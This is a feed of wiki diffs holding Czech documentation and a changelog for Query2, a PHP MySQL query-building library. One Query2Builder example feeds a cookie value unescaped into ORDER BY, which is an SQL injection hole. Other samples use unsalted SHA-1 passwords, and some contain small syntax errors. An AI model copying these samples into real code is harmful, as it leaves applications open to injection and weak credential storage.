Aktuální stabilní verze je <del>1.1.1,</del><ins>1.1.2,</ins> k dispozici ke stáhnutí <del>[zde|./download/Query2-1.1.1.tar.gz].</del><ins>[zde|./download/Query2-1.1.2.tar.gz].</ins> SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].

Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.


!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %x a %X - pouze vloží argument, volitelně escapuje - neobklopuje ' ani `. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** liší se od 1.0, dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}




!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].
</pre></description>
	</item>

	<item>
	  <title>ChangeLog</title>
	  <pubDate>Thu, 27 May 2010 15:23:51 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=ChangeLog</link>
	  <description><pre id="diff"><ins>!Změny v 1.1.1
''Vydáno 3. 6. 2010''
* Opraven logovací callback - délka vykonání dotazu mohla být v některých případech špatná (dokonce i záporná)
</ins>
!Změny v 1.1.0
''Vydáno 27. 5. 2010''
* liší se od 1.0 v modifikátorech %x (1.1) a %q (1.0). Dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* Podpora pro unbuffered queries s metodou uquery()
* Podpora pro jednoduché a omezené multi query s mquery() - vhodné třeba pro import z exportů databáze
* Rozšířené fetchovací metody o možnost omezit množinu fetchovaných sloupců
* ... a další

!Změny v 1.0.5
''Vydáno 25. 5. 2010''
* Opraven případ $q-&gt;query(&quot;DELETE&quot;, $builder); (kombinace Query2Builder s normálními řetězci) který předtím vyhazoval výjimku

!Změny v 1.0.4
''Vydáno 30. 4. 2010''
* V některých případech je SET AUTOCOMMIT=1 po COMMIT nebo ROLLBACK nutné

!Změny v 1.0.3
''Vydáno 24. 3. 2010''
* V určitých vzácných případech se mohlo více % za sebou interpretovat špatně (3 a více).


!Změny v 1.0.2
''Vydáno 18. 3. 2010''
* ''Komplexní'' zápis INSERT INTO ... ON DUPLICATE KEY UPDATE nefungoval v případě, kdy jsme nedefinovali pole sloupců pro update.

!Změny v 1.0.1
''Vydáno 15. 3. 2010''
* v Query2Builderu se zbytečně escapoval vstup z select(), orderBy() a groupBy()
* oprava chyby, kdy IN() nefungovalo pro prázdné pole. Vytvořen nový modifikátor %nin pro NOT IN
* není třeba spouštět SET AUTOCOMMIT = 1 po COMMIT nebo ROLLBACK

!Změny v 1.0.0
''Vydáno 14. 3. 2010''
První veřejná verze
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Thu, 27 May 2010 15:20:47 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff">{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.

!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]

!Download

Aktuální stabilní verze je <del>1.1.0,</del><ins>1.1.1,</ins> k dispozici ke stáhnutí <del>[zde|./download/Query2-1.1.0.tar.gz].</del><ins>[zde|./download/Query2-1.1.1.tar.gz].</ins> SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].

Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.
<ins></ins>

!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %x a %X - pouze vloží argument, volitelně escapuje - neobklopuje ' ani `. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** liší se od 1.0, dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

